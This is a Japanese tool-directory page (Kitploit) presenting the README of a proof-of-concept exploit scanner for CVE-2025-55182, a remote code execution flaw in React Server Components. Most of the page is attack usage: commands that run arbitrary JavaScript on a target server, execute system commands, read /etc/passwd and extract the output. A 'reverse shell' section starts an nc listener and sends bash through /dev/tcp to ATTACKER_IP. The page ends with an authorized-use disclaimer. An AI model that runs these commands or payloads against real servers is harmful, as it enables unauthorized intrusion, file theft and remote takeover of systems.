Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
React2Shell-CVE-2025-55182 — POC React2Shell-CVE-2025-55182 | Kitploit
ツール/GitHubGitHub/shadowroot97/react2shell-cve-2025-55182
脆弱性スキャナーエクスプロイトウェブアプリケーション悪用ペネトレーションテストリモートアクセスツールペイロード開発
GitHubshadowroot97/react2shell-cve-2025-55182

React2Shell-CVE-2025-55182

POC React2Shell-CVE-2025-55182

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
8ヶ月前未レビュー

CVE-2025-55182 - React2Shell

root@kitploit:~
    ____  _____    _    ____ _____ ____  ____  _   _ _____ _     _
   |  _ \| ____|  / \  / ___|_   _|___ \/ ___|| | | | ____| |   | |
   | |_) |  _|   / _ \| |     | |   __) \___ \| |_| |  _| | |   | |
   |  _ <| |___ / ___ \ |___  | |  / __/ ___) |  _  | |___| |___| |___
   |_| \_\_____/_/   \_\____| |_| |_____|____/|_| |_|_____|_____|_____|
                                                    [ CVE-2025-55182 ]

React Server Components (RSC) 向けリモートコード実行スキャナ

CVE Python


クレジット

役割名前リンク
オリジナル研究Lachlan Davidsongithub.com/lachlan2k

元の PoC に基づく: React2Shell-CVE-2025-55182-original-poc


概要

React2Shell は、CVE-2025-55182 のための包括的なセキュリティスキャナです。これは、React Server Components (RSC) の実装に影響を与える重大なリモートコード実行 (RCE) 脆弱性です。この脆弱性により、認証されていない攻撃者が React Flight プロトコルにおける安全でないデシリアライゼーションを通じて、サーバー上で任意の JavaScript コードを実行できます。

主な機能

  • マルチバリアントテスト: オリジナル研究から4つの異なるペイロード構造をテスト
  • バージョン検出: 脆弱な React およびフレームワークのバージョンを特定
  • RCE 検証: ダイジェストの変化、タイミング、OOB コールバックを介してコード実行を確認
  • OOB テスト: Burp Collaborator および Interactsh をサポート
  • カスタムペイロード: 脆弱なサーバー上で任意の JavaScript を実行
  • データ抽出: 1文字ずつのデータ流出
  • プロフェッショナルな出力: 証拠収集機能を備えた、クリーンでカラー表示の端末出力

インストール

root@kitploit:~
# Clone the repository
git clone https://github.com/Shadowroot97/POC-React2Shell-CVE-2025-55182.git
cd POC-React2Shell-CVE-2025-55182

# Install dependencies
pip install requests

# Run the scanner
python3 exploit_cve_2025_55182_v2.py -h

使用方法

root@kitploit:~
usage: exploit_cve_2025_55182_v2.py [-h] [-t TARGET] [-f FILE] [-m {version,verify,custom}]
                                    [--js JS] [--extract] [--sleep SECONDS]
                                    [--callback URL] [--dns DOMAIN] [-v]
                                    [--no-color] [--timeout TIMEOUT]

スキャンモード

1. バージョンモード(デフォルト)

脆弱なReactおよびフレームワークのバージョンをパッシブに検出します:

root@kitploit:~
python3 exploit_cve_2025_55182_v2.py -t https://target.com

2. 検証モード(-m verify)

複数の技術と4つのペイロードバリアントすべてを使用してRCEをアクティブに確認します:

root@kitploit:~
# Basic verification (digest variation)
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify

# With time-based verification
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify --sleep 5

# With OOB callback (Burp Collaborator)
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify --callback abc123.oastify.com

# Full verification with verbose output
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify \
    --sleep 5 --callback abc123.oastify.com --dns abc123.oastify.com -v

3. カスタムモード(-m custom)

任意のJavaScriptペイロードを実行:

root@kitploit:~
# Get Node.js version
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
    --js "process.version" --extract

# Execute system command
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
    --js "require('child_process').execSync('id').toString()" --extract

# Read file
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
    --js "require('fs').readFileSync('/etc/passwd','utf8')" --extract

4. バッチスキャン(-f)

ファイルから複数のURLをスキャンし、脆弱なターゲットのみを表示:

root@kitploit:~
python3 exploit_cve_2025_55182_v2.py -f targets.txt

使用例

基本的なスキャン

root@kitploit:~
# Version detection (default mode)
python3 exploit_cve_2025_55182_v2.py -t https://target.com

# RCE verification
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify

# Batch scan multiple targets
python3 exploit_cve_2025_55182_v2.py -f targets.txt

# Verbose output
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify -v

高度な使用方法

root@kitploit:~
# Time-based + OOB verification
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify \
    --sleep 5 --callback your-id.oastify.com

# Extract server info
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
    --js "process.version" --extract

# Execute command
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
    --js "require('child_process').execSync('whoami').toString()" --extract

リバースシェル

root@kitploit:~
# Start listener
nc -lvnp 443

# Execute reverse shell
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
    --js "process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1\"')"

免責事項

このツールは、許可されたセキュリティテストおよび教育目的のみで提供されます。

  • 自分が所有しているか、テストする明確な許可を得ているシステムに対してのみ使用してください
  • コンピュータシステムへの不正アクセスは違法です
  • 作成者はこのツールの誤用について責任を負いません
  • 常に責任ある開示の慣行に従ってください

参考資料

  • CVE-2025-55182 - NVD
  • Lachlan Davidson によるオリジナル PoC
  • React セキュリティアドバイザリ
  • Next.js セキュリティアドバイザリ
  • React Server Components ドキュメント
ツールをダウンロード
引数説明
-t, --targetターゲットURL (例: https://example.com)
-f, --fileURLのリストを含むファイル(1行に1つ)バッチスキャン用
-m, --modeスキャンモード: version(デフォルト)、verify、または custom
--jsカスタムモード用のJavaScriptコード
--extract文字列結果を1文字ずつ抽出
--sleep SECONDS時間ベースのRCE検証(verifyモード)
--callback URLOOBテスト用HTTPコールバックURL(verifyモード)
--dns DOMAINOOBテスト用DNSコールバックドメイン(verifyモード)
-v, --verboseペイロード詳細を含む詳細出力
--no-colorカラー出力を無効化
--timeout SECONDSHTTPリクエストのタイムアウト(デフォルト: 30)